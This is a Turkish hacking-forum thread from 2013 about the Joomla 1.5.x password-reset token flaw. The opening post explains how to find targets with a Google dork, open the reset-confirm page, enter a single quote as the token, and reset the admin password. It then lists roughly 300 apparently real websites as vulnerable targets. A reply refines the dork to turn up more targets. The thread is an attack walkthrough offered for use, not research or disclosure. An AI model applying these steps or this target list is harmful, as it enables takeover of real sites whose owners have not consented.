Konuyu Oyla:
  • Toplam: 3 Oy - Ortalama: 3
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: Joomla 1.5.x token Açığı
DaRKNeSS
*
avatar
Binbaşı
Durum: Çevrimdışı
Seviye Puanı: 53
Yaşam Puanı: 1,315 / 1,315
Deneyim: 61 / 100
Rep Sayısı: 117
Mesaj Sayısı: 5586
Üyelik Tarihi: 11.08.2013
     
Yorum: #1
Joomla 1.5.x token Açığı
08.12.2013 03:49
Selam Arkadaşlar..

şimdiki yazımda joomla sitelerinde ciddi bir risk oluşturan token exploitin den bahsedeceğim.

saldırgan(hacker) googlede hedefine ulaşmak için bir site arar ve bu siteyi bulmak için /index.php?
option=com_user .dk gibi bir kod kullanır. burada saldırgan danimarka sitelerinde saldırı düzenlemek üzeredir.

saldırgan kendine bir site seçtikden sonra sitenin adından soraki kodları silerek aşağıda ki gibi exploiti kullanır

site.com/index.php?option=com_user&view=reset bunu silib sitenin sonuna /index.php?option=com_user&view=reset&layout=confirm kodunu ekle. ve token açığı kendini gösterir.

açılan ekranı Tırnak işareti ( ‘ ) ile uyararak şifre sıfırlama ekranını açmaktadır

daha sonra kullancı adı admin şifre de kendi belirlediği şifre ile sisteme girip operasyonunu gerçekleştirebilir.



Token Açıklı Yeni Siteler.
Selametle …
PHP Kod:
http://dinkes.lubuklinggau.go.id//in...layout=confirm
http://luzernold.juso.ch//index.php?...layout=confirm
http://www.bk-faserverbundtechnik.at...layout=confirm
http://www.metanationale.org//index....layout=confirm
http://www.rhs-rm.de//index.php?opti...layout=confirm
http://oneamongmany.net//index.php?o...layout=confirm
http://www.viho-web.de//index.php?op...layout=confirm
http://www.irakische-studenten.de//i...layout=confirm
http://www.heimatkundlicher-verein-b...layout=confirm
http://www.wismaria-numismatika.de//...layout=confirm
http://www.neustift-lafnitz.at//inde...layout=confirm
http://www.sv-unterreichenbach.de//i...layout=confirm
http://www.auwis-weinoper.de//index....layout=confirm
http://www.kleiber.li//index.php?opt...layout=confirm
http://www.polio-info.de//index.php?...layout=confirm
http://www.grueneberg-schule.de//ind...layout=confirm
http://www.stmarien-biebrich.de//ind...layout=confirm
http://www.bihgolub.com//index.php?o...layout=confirm
http://ff.scheideldorf.at//index.php...layout=confirm
http://www.ldsv.de//index.php?option...layout=confirm
http://www.oneamongmany.net//index.p...layout=confirm
http://www.pharma-job.com.cn//index....layout=confirm
http://mundodelembrancas.com//index....layout=confirm
http://blog.turnuvatutkunu.net//inde...layout=confirm
http://knowledgy.org//index.php?opti...layout=confirm
http://www.hilands.com.au//index.php...layout=confirm
http://www.sassafraswoolstore.com.au...layout=confirm
http://bmbcm.com//index.php?option=c...layout=confirm
http://www.vindhyakabelmats.com//ind...layout=confirm
http://joomlatuner.com//index.php?op...layout=confirm
http://www.equipetrol.com//index.php...layout=confirm
http://www.tilde.ch//index.php?optio...layout=confirm
http://romas.ch//index.php?option=co...layout=confirm
http://fam-schramm.dk//index.php?opt...layout=confirm
http://lepp.pri.ee//index.php?option...layout=confirm
http://mesojofy.com//index.php?optio...layout=confirm
http://eglassociates.com//index.php?...layout=confirm
http://tianrunhk.com//index.php?opti...layout=confirm
http://www.btp.co.id//index.php?opti...layout=confirm
http://fotointezet.hu//index.php?opt...layout=confirm
http://naturea.hu//index.php?option=...layout=confirm
http://www.alfinsa.com//index.php?op...layout=confirm
http://www.capuletkzn.co.za//index.p...layout=confirm
http://kendo.kz//index.php?option=co...layout=confirm
http://skylarandfriends.com//index.p...layout=confirm
http://www.permanently.nl//index.php...layout=confirm
http://www.mattisoft.no//index.php?o...layout=confirm
http://www.vandijke.com//index.php?o...layout=confirm
http://lindbloms.nu//index.php?optio...layout=confirm
http://familiepas.com//index.php?opt...layout=confirm
http://osobistytrener.com.pl//index....layout=confirm 
http://www.rurex.com.pl//index.php?o...layout=confirm
http://cad-re.com//index.php?option=...layout=confirm
http://www.ocg-europe.ru//index.php?...layout=confirm
http://ntwgroup.ru//index.php?option...layout=confirm
http://drillbitwarehouse.com//index....layout=confirm
http://chainchatter.com//index.php?o...layout=confirm
http://ashirdavat.com.tr//index.php?...layout=confirm
http://www.rodos.com.tr//index.php?o...layout=confirm
http://accofficials.tv//index.php?op...layout=confirm
http://www.construction-services.uk....layout=confirm
http://www.aspendosltd.com//index.ph...layout=confirm
http://falkyou.com//index.php?option...layout=confirm
http://www.itaproductions.ws//index....layout=confirm
http://www.aashade.co.za//index.php?...layout=confirm
http://aadarpansamagri.com//index.ph...layout=confirm
http://kayakjuneau.com//index.php?op...layout=confirm
http://ajdale.com//index.php?option=...layout=confirm
http://science2web.com//index.php?op...layout=confirm
http://www.drproductivity.com//index...layout=confirm
http://www.apofficefurniture.com.au/...layout=confirm
http://aeme.com.ar//index.php?option...layout=confirm
http://www.carlosgomeztripier.com.ar...layout=confirm
http://nrgbilgisayar.com//index.php?...layout=confirm
http://lts-sadi.com//index.php?optio...layout=confirm
http://www.s229491324.onlinehome.us/...layout=confirm
http://carlofontana.net//index.php?o...layout=confirm
http://caimanfcd.com//index.php?opti...layout=confirm
http://standwell-tech.com//index.php...layout=confirm
http://www.triumph-ht-optics.com//in...layout=confirm
http://asbekindo.org//index.php?opti...layout=confirm
http://linziehosting.com//index.php?...layout=confirm
http://staragarda.de//index.php?opti...layout=confirm
http://www.deportecazorla.freeiz.com...layout=confirm
http://portal.spilkamra.net//index.p...layout=confirm
http://www.jjstonequarry.com//index....layout=confirm
http://shirdisaipublicschool.org//in...layout=confirm
http://www.tokokahin.com//index.php?...layout=confirm
http://ningratphotography.com//index...layout=confirm
http://mokalaboursource.com//index.p...layout=confirm
http://vindhyakabelmats.com//index.p...layout=confirm
http://www.futurehobbies.com//index....layout=confirm
http://www.lomustangfoundation.org.n...layout=confirm
http://pokerisonline.lt//index.php?o...layout=confirm
http://myadventurebeginstoday.com//i...layout=confirm
http://sanxuatquat.com//index.php?op...layout=confirm
http://mahligaibidadari.com//index.p...layout=confirm
http://reflectionme.com//index.php?o...layout=confirm
http://www.hotelcalypso.mg//index.ph...layout=confirm
http://mrprange.com//index.php?optio...layout=confirm
http://investasimu.com//index.php?op...layout=confirm
http://nano-nm.org//index.php?option...layout=confirm
http://www.nitish.com.np//index.php?...layout=confirm
http://popnw.com//index.php?option=c...layout=confirm
http://acapeo.com//index.php?option=...layout=confirm
http://pcxpectations.com//index.php?...layout=confirm
http://tribe.komfur.com//index.php?o...layout=confirm
http://documaxonline.com//index.php?...layout=confirm
http://tishadore.com//index.php?opti...layout=confirm
http://rusher-art.com//index.php?opt...layout=confirm
http://www.oldtimechristmastree.com/...layout=confirm
http://www.prolabrx.com.mx//index.ph...layout=confirm
http://chuanboon.com.sg//index.php?o...layout=confirm
http://www.iasj.com//index.php?optio...layout=confirm
http://skstainlesssteel.com//index.p...layout=confirm
http://sm-mramor.com//index.php?opti...layout=confirm
http://www.tms.sn//index.php?option=...layout=confirm
http://www.otours.co.uk//index.php?o...layout=confirm
http://www.mesterul-toni.ro//index.p...layout=confirm
http://www.communitychurchuu.org//in...layout=confirm
http://www.vc-motors.com//index.php?...layout=confirm
http://vjjazzyjeff.com//index.php?op...layout=confirm
http://www.ndenc.com//index.php?opti...layout=confirm
http://www.vzstalling.nl//index.php?...layout=confirm
http://ucristiana.org//index.php?opt...layout=confirm
http://www.umojaoperationcompassion....layout=confirm
http://www.renehoerdemann.de//index....layout=confirm
http://thietkevn.vn//index.php?optio...layout=confirm
http://vitasya.com//index.php?option...layout=confirm
http://tenniscourtreview.com//index....layout=confirm
http://yahyahoward.com//index.php?op...layout=confirm
http://onyxym.org//index.php?option=...layout=confirm
http://amansonclark.com//index.php?o...layout=confirm
http://tvornicakoze.com//index.php?o...layout=confirm
http://parisadabalam.hostzi.com//ind...layout=confirm
http://www.mlife.co.zm//index.php?op...layout=confirm
http://bizlaunchersnetwork.com//inde...layout=confirm
http://near-by.info//index.php?optio...layout=confirm
http://globalbusinesssolutions.com.a...layout=confirm
http://miing.umsa.edu.bo//index.php?...layout=confirm
http://www.lueftungstechnik-fuhriman...layout=confirm
http://www.enato.dk//index.php?optio...layout=confirm
http://pecwindo.org//index.php?optio...layout=confirm
http://www.divipro.fi//index.php?opt...layout=confirm
http://santaiajalagi.com//index.php?...layout=confirm
http://www.autodw.hu//index.php?opti...layout=confirm
http://www.thecanineclippers.com//in...layout=confirm
http://www.edwardes.edu.pk//index.ph...layout=confirm
http://ynse.pl//index.php?option=com...layout=confirm
http://blagorod.ru//index.php?option...layout=confirm
http://empuz.com//index.php?option=c...layout=confirm
http://www.kubschreptile.com//index....layout=confirm
http://www.bridalbushcraft.nl//index...layout=confirm
http://blackhorseballoons.com//index...layout=confirm
http://greencheeksbaby.com//index.ph...layout=confirm
http://dreamisdestiny.net//index.php...layout=confirm
http://www.lomassac.com//index.php?o...layout=confirm
http://reflectingchrist.com//index.p...layout=confirm
http://concepz.com//index.php?option...layout=confirm
http://nmgrealty.com//index.php?opti...layout=confirm
http://www.themathleague.com//index....layout=confirm
http://www.red-servicesng.com//index...layout=confirm
http://www.outsider-group.ovh.org//i...layout=confirm
http://www.kuikmedia.com//index.php?...layout=confirm
http://www.kowalskipw.pl//index.php?...layout=confirm
http://www.sosauto.ro//index.php?opt...layout=confirm
http://servkingcarpetcleaning.com//i...layout=confirm
http://sol.sc.edu.my//index.php?opti...layout=confirm
http://www.tauruswealth.com.sg//inde...layout=confirm
http://shop.svnootdorp.com//index.ph...layout=confirm
http://himalayanit.com//index.php?op...layout=confirm
http://onlinestore.pride-grp.net//in...layout=confirm
http://caygiongnhanduc.com//index.ph...layout=confirm
http://masurintec.com//index.php?opt...layout=confirm
http://www.bedrijfensite.nl//index.p...layout=confirm
http://stressunet.com//index.php?opt...layout=confirm
http://egotainme.com//index.php?opti...layout=confirm
http://rawapit.com//index.php?option...layout=confirm
http://www.cucghet.com//index.php?op...layout=confirm
http://blogs2.startribune.com//index...layout=confirm
http://tyriemower.com//index.php?opt...layout=confirm
http://qiblacompass.com//index.php?o...layout=confirm
http://www.connectionit.com.ar//inde...layout=confirm
http://boyettesports.com//index.php?...layout=confirm
http://cestmoi.ch//index.php?option=...layout=confirm
http://www.zendelworld.de//index.php...layout=confirm
http://www.hellastech.gr//index.php?...layout=confirm
http://www.pennwca.com//index.php?op...layout=confirm
http://www.shelter-care.org//index.p...layout=confirm
http://vera-boorsma.com//index.php?o...layout=confirm
http://www.marna.ro//index.php?optio...layout=confirm
http://www.melizen.nl//index.php?opt...layout=confirm
http://www.kce.org.nz//index.php?opt...layout=confirm
http://omgoshfashion.com//index.php?...layout=confirm
http://www.dotobi.com//index.php?opt...layout=confirm
http://www.okisarajevo.ba//index.php...layout=confirm
http://dougtracy.info//index.php?opt...layout=confirm
http://www.royalgreen.net//index.php...layout=confirm
http://www.thietbihoctap.com//index....layout=confirm
http://simontonchurch.org//index.php...layout=confirm
http://bnaphoto.com//index.php?optio...layout=confirm
http://www.casabonmariage.ro//index....layout=confirm
http://interactifweb.com//index.php?...layout=confirm
http://moemaka.org//index.php?option...layout=confirm
http://www.arinow.com//index.php?opt...layout=confirm
http://www.bigboystoys.com//index.ph...layout=confirm
http://bulgariaie.com//index.php?opt...layout=confirm
http://lyceescientifiqueyamoussoukro...layout=confirm
http://bakkeveenpoker.nl//index.php?...layout=confirm
http://ansems.org//index.php?option=...layout=confirm
http://www.daiwa-tcs.co.jp//index.ph...layout=confirm
http://mymtshop.com//index.php?optio...layout=confirm
http://prairiewindfarm.net//index.ph...layout=confirm
http://www.trueknowledge.com//index....layout=confirm
http://www.gudeta.lt//index.php?opti...layout=confirm
http://www.bukaktyvus.lt//index.php?...layout=confirm
http://www.phalguna.co.id//index.php...layout=confirm
http://hunterspub.com//index.php?opt...layout=confirm
http://www.systechnologies.fr//index...layout=confirm
http://www.tiens-208.mn//index.php?o...layout=confirm
http://www.kompsolid.com.pl//index.p...layout=confirm
http://goodtimesteel.com//index.php?...layout=confirm
http://wwww.shararhitu.com//index.ph...layout=confirm
http://ntlearningtrust.org.uk//index...layout=confirm
http://www.sotograndemarina.co.uk//i...layout=confirm
http://yhocphuongdong.com//index.php...layout=confirm
http://vision-lounge.net//index.php?...layout=confirm
http://www.kishaprotestante.net//ind...layout=confirm
http://www.mujercomovos.com.ar//inde...layout=confirm
http://www.promaritime.fr//index.php...layout=confirm
http://epsol.fr//index.php?option=co...layout=confirm
http://rapbax.web44.net//index.php?o...layout=confirm
http://www.medicaltours.de//index.ph...layout=confirm
http://gles.si//index.php?option=com...layout=confirm
http://www.sepossk.com//index.php?op...layout=confirm
http://srigokulcaterers.com//index.p...layout=confirm
http://rahmedica.com//index.php?opti...layout=confirm
http://www.casaunumberone.com//index...layout=confirm
http://www.webonmedia.com//index.php...layout=confirm
http://phongchongbenh.com//index.php...layout=confirm
http://www.esb3-soaresbasto.edu.pt//...layout=confirm
http://seek2change.com//index.php?op...layout=confirm
http://www.alas.org.ar//index.php?op...layout=confirm
http://justiciajuvenil.com.ar//index...layout=confirm
http://agnescajaiba.com//index.php?o...layout=confirm
http://www.steering.ca//index.php?op...layout=confirm
http://www.trailerhosting.com//index...layout=confirm
http://www.hireadvisor.co.uk//index....layout=confirm
http://www.pmienterprises.co.in//ind...layout=confirm
http://paparazfaz.de//index.php?opti...layout=confirm
http://www.smartaccess.cz//index.php...layout=confirm
http://belvedere-corfu.gr//index.php...layout=confirm 
http://www.galactic.com.my//index.ph...layout=confirm
http://polanski.ru//index.php?option...layout=confirm
http://strandvakantie.org//index.php...layout=confirm
http://www.swc-aurora.com//index.php...layout=confirm
http://bageur.net//index.php?option=...layout=confirm
http://www.foxpaulistinha.com.br//in...layout=confirm
http://teatronuevaera.com//index.php...layout=confirm
http://www.hoyalquileres.com.ar//ind...layout=confirm
http://spiritualteaching.com//index....layout=confirm
http://collegeparkhondakorea.com//in...layout=confirm
http://elementeq2.com//index.php?opt...layout=confirm
http://radiobosawas.com//index.php?o...layout=confirm
http://collegeparkhyundaikorea.com//...layout=confirm
http://juegosps3.com//index.php?opti...layout=confirm
http://e-webbies.com//index.php?opti...layout=confirm
http://www.admtavrichanka.ru//index....layout=confirm
http://zonatvd.net//index.php?option...layout=confirm
http://bridgesathanover.com//index.p...layout=confirm
http://www.dushahra.com//index.php?o...layout=confirm
http://www.voyageinde.in//index.php?...layout=confirm
http://www.jannik-vogel.de//index.ph...layout=confirm
http://baa.univpgri-palembang.ac.id/...layout=confirm
http://www.mitchellslodge.com//index...layout=confirm
http://synagogue.org.uk//index.php?o...layout=confirm
http://www.radiopersadafm.com//index...layout=confirm
http://countryboy.petethenerd.com//i...layout=confirm
http://www.topload.ch//index.php?opt...layout=confirm
http://www.zone-lady.com//index.php?...layout=confirm
http://mathadelhi.free.fr//index.php...layout=confirm
http://www.alphaproductsinc.com//ind...layout=confirm
http://syl.gabrielemartelli.com//ind...layout=confirm 


Alinti
Mentalistler
*
avatar
Sivile Alındı
Durum: Çevrimdışı
Seviye Puanı: 25
Yaşam Puanı: 267 / 608
Deneyim: 35 / 100
Rep Sayısı: 190
Mesaj Sayısı: 792
Üyelik Tarihi: 02.10.2013
     
Yorum: #2
Cvp: Joomla 1.5.x token Açığı
08.12.2013 12:02
abim ellerine sağlık ama

dorku yazarken : /index.php?option=com_user .dk böyle yazıyoruz ya hani 2 tane sonuç çıkıyor doğru düzgün diğerleride bu açığın nasıl hacklenceğini anlatıyor
ama şu şekilde yaparsak :
"/index.php?option=com_user site: dk" (") bu işareti koymadan yazarsak 10 sayfa sonuç buluyor Smile
(Bu konu en son: 08.12.2013 Tarihinde, Saat: 12:03 düzenlenmiştir. Düzenleyen: Mentalistler.)
Alinti
DaRKNeSS
*
avatar
Binbaşı
Durum: Çevrimdışı
Seviye Puanı: 53
Yaşam Puanı: 1,315 / 1,315
Deneyim: 61 / 100
Rep Sayısı:
Mesaj Sayısı: 5586
Üyelik Tarihi: 11.08.2013
     
Yorum: #3
Cvp: Joomla 1.5.x token Açığı
11.12.2013 15:46
Eyvallah


Alinti
Stallk3r
*
avatar
Albay
Durum: Çevrimdışı
Seviye Puanı: 33
Yaşam Puanı: 750 / 824
Deneyim: 97 / 100
Rep Sayısı: 419
Mesaj Sayısı: 1610
Üyelik Tarihi: 06.11.2013
     
Yorum: #4
Cvp: Joomla 1.5.x token Açığı
11.12.2013 17:24
eyw reis Smile

Dans ederken görülenler deli sanılır, Müziği duymayanlar tarafından.
Alinti



1 Ziyaretçi
[-]
Sponsor Reklam